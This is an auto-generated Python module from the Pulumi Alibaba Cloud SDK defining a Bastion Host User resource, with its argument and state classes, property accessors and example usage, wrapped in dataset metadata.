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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
9e6b3bf5326a2202d9ef4a4344d5b3e56287eaaf | 38,683 | py | Python | sdk/python/pulumi_alicloud/bastionhost/user.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 42 | 2019-03-18T06:34:37.000Z | 2022-03-24T07:08:57.000Z | sdk/python/pulumi_alicloud/bastionhost/user.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 152 | 2019-04-15T21:03:44.000Z | 2022-03-29T18:00:57.000Z | sdk/python/pulumi_alicloud/bastionhost/user.py | pulumi/pulumi-alicloud | 9c34d84b4588a7c885c6bec1f03b5016e5a41683 | [
"ECL-2.0",
"Apache-2.0"
] | 3 | 2020-08-26T17:30:07.000Z | 2021-07-05T01:37:45.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['UserArgs', 'User']
@pulumi.input_type
class UserArgs:
def __init__(__self__, *,
instance_id: pulumi.Input[str],
source: pulumi.Input[str],
user_name: pulumi.Input[str],
comment: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
email: Optional[pulumi.Input[str]] = None,
mobile: Optional[pulumi.Input[str]] = None,
mobile_country_code: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
source_user_id: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a User resource.
:param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of.
:param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
:param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
:param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
:param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters.
:param pulumi.Input[str] email: Specify the New User's Mailbox.
:param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your.
:param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
:param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
:param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
:param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`.
"""
pulumi.set(__self__, "instance_id", instance_id)
pulumi.set(__self__, "source", source)
pulumi.set(__self__, "user_name", user_name)
if comment is not None:
pulumi.set(__self__, "comment", comment)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if email is not None:
pulumi.set(__self__, "email", email)
if mobile is not None:
pulumi.set(__self__, "mobile", mobile)
if mobile_country_code is not None:
pulumi.set(__self__, "mobile_country_code", mobile_country_code)
if password is not None:
pulumi.set(__self__, "password", password)
if source_user_id is not None:
pulumi.set(__self__, "source_user_id", source_user_id)
if status is not None:
pulumi.set(__self__, "status", status)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Input[str]:
"""
You Want to Query the User the Bastion Host ID of.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: pulumi.Input[str]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter
def source(self) -> pulumi.Input[str]:
"""
Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
"""
return pulumi.get(self, "source")
@source.setter
def source(self, value: pulumi.Input[str]):
pulumi.set(self, "source", value)
@property
@pulumi.getter(name="userName")
def user_name(self) -> pulumi.Input[str]:
"""
Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
"""
return pulumi.get(self, "user_name")
@user_name.setter
def user_name(self, value: pulumi.Input[str]):
pulumi.set(self, "user_name", value)
@property
@pulumi.getter
def comment(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
"""
return pulumi.get(self, "comment")
@comment.setter
def comment(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "comment", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New Created the User's Display Name. Supports up to 128 Characters.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter
def email(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New User's Mailbox.
"""
return pulumi.get(self, "email")
@email.setter
def email(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "email", value)
@property
@pulumi.getter
def mobile(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New of the User That Created a Different Mobile Phone Number from Your.
"""
return pulumi.get(self, "mobile")
@mobile.setter
def mobile(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "mobile", value)
@property
@pulumi.getter(name="mobileCountryCode")
def mobile_country_code(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
"""
return pulumi.get(self, "mobile_country_code")
@mobile_country_code.setter
def mobile_country_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "mobile_country_code", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
"""
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter(name="sourceUserId")
def source_user_id(self) -> Optional[pulumi.Input[str]]:
"""
Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
"""
return pulumi.get(self, "source_user_id")
@source_user_id.setter
def source_user_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "source_user_id", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
The status of the resource. Valid values: `Frozen`, `Normal`.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
@pulumi.input_type
class _UserState:
def __init__(__self__, *,
comment: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
email: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
mobile: Optional[pulumi.Input[str]] = None,
mobile_country_code: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
source: Optional[pulumi.Input[str]] = None,
source_user_id: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
user_name: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering User resources.
:param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
:param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters.
:param pulumi.Input[str] email: Specify the New User's Mailbox.
:param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of.
:param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your.
:param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
:param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
:param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
:param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
:param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`.
:param pulumi.Input[str] user_id: The User ID.
:param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
"""
if comment is not None:
pulumi.set(__self__, "comment", comment)
if display_name is not None:
pulumi.set(__self__, "display_name", display_name)
if email is not None:
pulumi.set(__self__, "email", email)
if instance_id is not None:
pulumi.set(__self__, "instance_id", instance_id)
if mobile is not None:
pulumi.set(__self__, "mobile", mobile)
if mobile_country_code is not None:
pulumi.set(__self__, "mobile_country_code", mobile_country_code)
if password is not None:
pulumi.set(__self__, "password", password)
if source is not None:
pulumi.set(__self__, "source", source)
if source_user_id is not None:
pulumi.set(__self__, "source_user_id", source_user_id)
if status is not None:
pulumi.set(__self__, "status", status)
if user_id is not None:
pulumi.set(__self__, "user_id", user_id)
if user_name is not None:
pulumi.set(__self__, "user_name", user_name)
@property
@pulumi.getter
def comment(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
"""
return pulumi.get(self, "comment")
@comment.setter
def comment(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "comment", value)
@property
@pulumi.getter(name="displayName")
def display_name(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New Created the User's Display Name. Supports up to 128 Characters.
"""
return pulumi.get(self, "display_name")
@display_name.setter
def display_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "display_name", value)
@property
@pulumi.getter
def email(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New User's Mailbox.
"""
return pulumi.get(self, "email")
@email.setter
def email(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "email", value)
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> Optional[pulumi.Input[str]]:
"""
You Want to Query the User the Bastion Host ID of.
"""
return pulumi.get(self, "instance_id")
@instance_id.setter
def instance_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "instance_id", value)
@property
@pulumi.getter
def mobile(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New of the User That Created a Different Mobile Phone Number from Your.
"""
return pulumi.get(self, "mobile")
@mobile.setter
def mobile(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "mobile", value)
@property
@pulumi.getter(name="mobileCountryCode")
def mobile_country_code(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
"""
return pulumi.get(self, "mobile_country_code")
@mobile_country_code.setter
def mobile_country_code(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "mobile_country_code", value)
@property
@pulumi.getter
def password(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
"""
return pulumi.get(self, "password")
@password.setter
def password(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "password", value)
@property
@pulumi.getter
def source(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
"""
return pulumi.get(self, "source")
@source.setter
def source(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "source", value)
@property
@pulumi.getter(name="sourceUserId")
def source_user_id(self) -> Optional[pulumi.Input[str]]:
"""
Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
"""
return pulumi.get(self, "source_user_id")
@source_user_id.setter
def source_user_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "source_user_id", value)
@property
@pulumi.getter
def status(self) -> Optional[pulumi.Input[str]]:
"""
The status of the resource. Valid values: `Frozen`, `Normal`.
"""
return pulumi.get(self, "status")
@status.setter
def status(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "status", value)
@property
@pulumi.getter(name="userId")
def user_id(self) -> Optional[pulumi.Input[str]]:
"""
The User ID.
"""
return pulumi.get(self, "user_id")
@user_id.setter
def user_id(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_id", value)
@property
@pulumi.getter(name="userName")
def user_name(self) -> Optional[pulumi.Input[str]]:
"""
Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
"""
return pulumi.get(self, "user_name")
@user_name.setter
def user_name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "user_name", value)
class User(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
comment: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
email: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
mobile: Optional[pulumi.Input[str]] = None,
mobile_country_code: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
source: Optional[pulumi.Input[str]] = None,
source_user_id: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
user_name: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Provides a Bastion Host User resource.
For information about Bastion Host User and how to use it, see [What is User](https://www.alibabacloud.com/help/doc-detail/204503.htm).
> **NOTE:** Available in v1.133.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
local = alicloud.bastionhost.User("local",
instance_id="example_value",
mobile="13312345678",
mobile_country_code="CN",
password="YourPassword-123",
source="Local",
user_name="my-local-user")
ram = alicloud.bastionhost.User("ram",
instance_id="example_value",
mobile="13312345678",
mobile_country_code="CN",
password="YourPassword-123",
source="Ram",
source_user_id="1234567890",
user_name="my-ram-user")
```
## Import
Bastion Host User can be imported using the id, e.g.
```sh
$ pulumi import alicloud:bastionhost/user:User example <instance_id>:<user_id>
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
:param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters.
:param pulumi.Input[str] email: Specify the New User's Mailbox.
:param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of.
:param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your.
:param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
:param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
:param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
:param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
:param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`.
:param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: UserArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Provides a Bastion Host User resource.
For information about Bastion Host User and how to use it, see [What is User](https://www.alibabacloud.com/help/doc-detail/204503.htm).
> **NOTE:** Available in v1.133.0+.
## Example Usage
Basic Usage
```python
import pulumi
import pulumi_alicloud as alicloud
local = alicloud.bastionhost.User("local",
instance_id="example_value",
mobile="13312345678",
mobile_country_code="CN",
password="YourPassword-123",
source="Local",
user_name="my-local-user")
ram = alicloud.bastionhost.User("ram",
instance_id="example_value",
mobile="13312345678",
mobile_country_code="CN",
password="YourPassword-123",
source="Ram",
source_user_id="1234567890",
user_name="my-ram-user")
```
## Import
Bastion Host User can be imported using the id, e.g.
```sh
$ pulumi import alicloud:bastionhost/user:User example <instance_id>:<user_id>
```
:param str resource_name: The name of the resource.
:param UserArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(UserArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
comment: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
email: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
mobile: Optional[pulumi.Input[str]] = None,
mobile_country_code: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
source: Optional[pulumi.Input[str]] = None,
source_user_id: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
user_name: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = UserArgs.__new__(UserArgs)
__props__.__dict__["comment"] = comment
__props__.__dict__["display_name"] = display_name
__props__.__dict__["email"] = email
if instance_id is None and not opts.urn:
raise TypeError("Missing required property 'instance_id'")
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["mobile"] = mobile
__props__.__dict__["mobile_country_code"] = mobile_country_code
__props__.__dict__["password"] = password
if source is None and not opts.urn:
raise TypeError("Missing required property 'source'")
__props__.__dict__["source"] = source
__props__.__dict__["source_user_id"] = source_user_id
__props__.__dict__["status"] = status
if user_name is None and not opts.urn:
raise TypeError("Missing required property 'user_name'")
__props__.__dict__["user_name"] = user_name
__props__.__dict__["user_id"] = None
super(User, __self__).__init__(
'alicloud:bastionhost/user:User',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
comment: Optional[pulumi.Input[str]] = None,
display_name: Optional[pulumi.Input[str]] = None,
email: Optional[pulumi.Input[str]] = None,
instance_id: Optional[pulumi.Input[str]] = None,
mobile: Optional[pulumi.Input[str]] = None,
mobile_country_code: Optional[pulumi.Input[str]] = None,
password: Optional[pulumi.Input[str]] = None,
source: Optional[pulumi.Input[str]] = None,
source_user_id: Optional[pulumi.Input[str]] = None,
status: Optional[pulumi.Input[str]] = None,
user_id: Optional[pulumi.Input[str]] = None,
user_name: Optional[pulumi.Input[str]] = None) -> 'User':
"""
Get an existing User resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] comment: Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
:param pulumi.Input[str] display_name: Specify the New Created the User's Display Name. Supports up to 128 Characters.
:param pulumi.Input[str] email: Specify the New User's Mailbox.
:param pulumi.Input[str] instance_id: You Want to Query the User the Bastion Host ID of.
:param pulumi.Input[str] mobile: Specify the New of the User That Created a Different Mobile Phone Number from Your.
:param pulumi.Input[str] mobile_country_code: Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
:param pulumi.Input[str] password: Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
:param pulumi.Input[str] source: Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
:param pulumi.Input[str] source_user_id: Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
:param pulumi.Input[str] status: The status of the resource. Valid values: `Frozen`, `Normal`.
:param pulumi.Input[str] user_id: The User ID.
:param pulumi.Input[str] user_name: Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _UserState.__new__(_UserState)
__props__.__dict__["comment"] = comment
__props__.__dict__["display_name"] = display_name
__props__.__dict__["email"] = email
__props__.__dict__["instance_id"] = instance_id
__props__.__dict__["mobile"] = mobile
__props__.__dict__["mobile_country_code"] = mobile_country_code
__props__.__dict__["password"] = password
__props__.__dict__["source"] = source
__props__.__dict__["source_user_id"] = source_user_id
__props__.__dict__["status"] = status
__props__.__dict__["user_id"] = user_id
__props__.__dict__["user_name"] = user_name
return User(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def comment(self) -> pulumi.Output[Optional[str]]:
"""
Specify the New of the User That Created the Remark Information. Supports up to 500 Characters.
"""
return pulumi.get(self, "comment")
@property
@pulumi.getter(name="displayName")
def display_name(self) -> pulumi.Output[str]:
"""
Specify the New Created the User's Display Name. Supports up to 128 Characters.
"""
return pulumi.get(self, "display_name")
@property
@pulumi.getter
def email(self) -> pulumi.Output[Optional[str]]:
"""
Specify the New User's Mailbox.
"""
return pulumi.get(self, "email")
@property
@pulumi.getter(name="instanceId")
def instance_id(self) -> pulumi.Output[str]:
"""
You Want to Query the User the Bastion Host ID of.
"""
return pulumi.get(self, "instance_id")
@property
@pulumi.getter
def mobile(self) -> pulumi.Output[Optional[str]]:
"""
Specify the New of the User That Created a Different Mobile Phone Number from Your.
"""
return pulumi.get(self, "mobile")
@property
@pulumi.getter(name="mobileCountryCode")
def mobile_country_code(self) -> pulumi.Output[str]:
"""
Specify the New Create User Mobile Phone Number of the International Domain Name. The Default Value Is the CN. Valid Values:
* CN: Mainland China (+86)
* HK: hong Kong, China (+852)
* MO: Macau, China (+853)
* TW: Taiwan, China (+886)
* RU: Russian (+7)
* SG: Singapore (+65)
* MY: malaysia (+60)
* ID: Indonesia (+62)
* DE: Germany (+49)
* AU: Australia (+61)
* US: United States (+1)
* AE: dubai (+971)
* JP: Japan (+81) Introducing the Long-Range
* GB: United Kingdom (+44)
* IN: India (+91)
* KR: South Korea (+82)
* PH: philippines (+63)
* CH: Switzerland (+41)
* SE: Sweden (+46)
"""
return pulumi.get(self, "mobile_country_code")
@property
@pulumi.getter
def password(self) -> pulumi.Output[Optional[str]]:
"""
Specify the New User's Password. Supports up to 128 Characters. Description of the New User as the Source of the Local User (That Is, Source Value for Local, this Parameter Is Required.
"""
return pulumi.get(self, "password")
@property
@pulumi.getter
def source(self) -> pulumi.Output[str]:
"""
Specify the New of the User That Created the Source. Valid Values:
* Local: Local User
* RAM: Ram User
"""
return pulumi.get(self, "source")
@property
@pulumi.getter(name="sourceUserId")
def source_user_id(self) -> pulumi.Output[Optional[str]]:
"""
Specify the Newly Created User Is Uniquely Identified. Indicates That the Parameter Is a Bastion Host Corresponding to the User with the Ram User's Unique Identifier. The Newly Created User Source Grant Permission to a RAM User (That Is, Source Used as a Ram), this Parameter Is Required. You Can Call Access Control of Listusers Interface from the Return Data Userid to Obtain the Parameters.
"""
return pulumi.get(self, "source_user_id")
@property
@pulumi.getter
def status(self) -> pulumi.Output[str]:
"""
The status of the resource. Valid values: `Frozen`, `Normal`.
"""
return pulumi.get(self, "status")
@property
@pulumi.getter(name="userId")
def user_id(self) -> pulumi.Output[str]:
"""
The User ID.
"""
return pulumi.get(self, "user_id")
@property
@pulumi.getter(name="userName")
def user_name(self) -> pulumi.Output[str]:
"""
Specify the New User Name. This Parameter Is Only by Letters, Lowercase Letters, Numbers, and Underscores (_), Supports up to 128 Characters.
"""
return pulumi.get(self, "user_name")
| 44.463218 | 442 | 0.614068 | 4,797 | 38,683 | 4.805503 | 0.059204 | 0.073009 | 0.091706 | 0.08971 | 0.933238 | 0.921395 | 0.911201 | 0.894977 | 0.890769 | 0.880921 | 0 | 0.016683 | 0.282579 | 38,683 | 869 | 443 | 44.514384 | 0.813959 | 0.460564 | 0 | 0.782828 | 1 | 0 | 0.082108 | 0.001678 | 0 | 0 | 0 | 0 | 0 | 1 | 0.164141 | false | 0.060606 | 0.012626 | 0 | 0.275253 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
9ec14bddb936f6a3e4c003fb009928f8d8c1d199 | 82 | py | Python | src/chapter27/__init__.py | Peefy/CLRS_dugu_code-master | 98f00e75e1b0ebc13a7affb2604bec8501692a19 | [
"Apache-2.0"
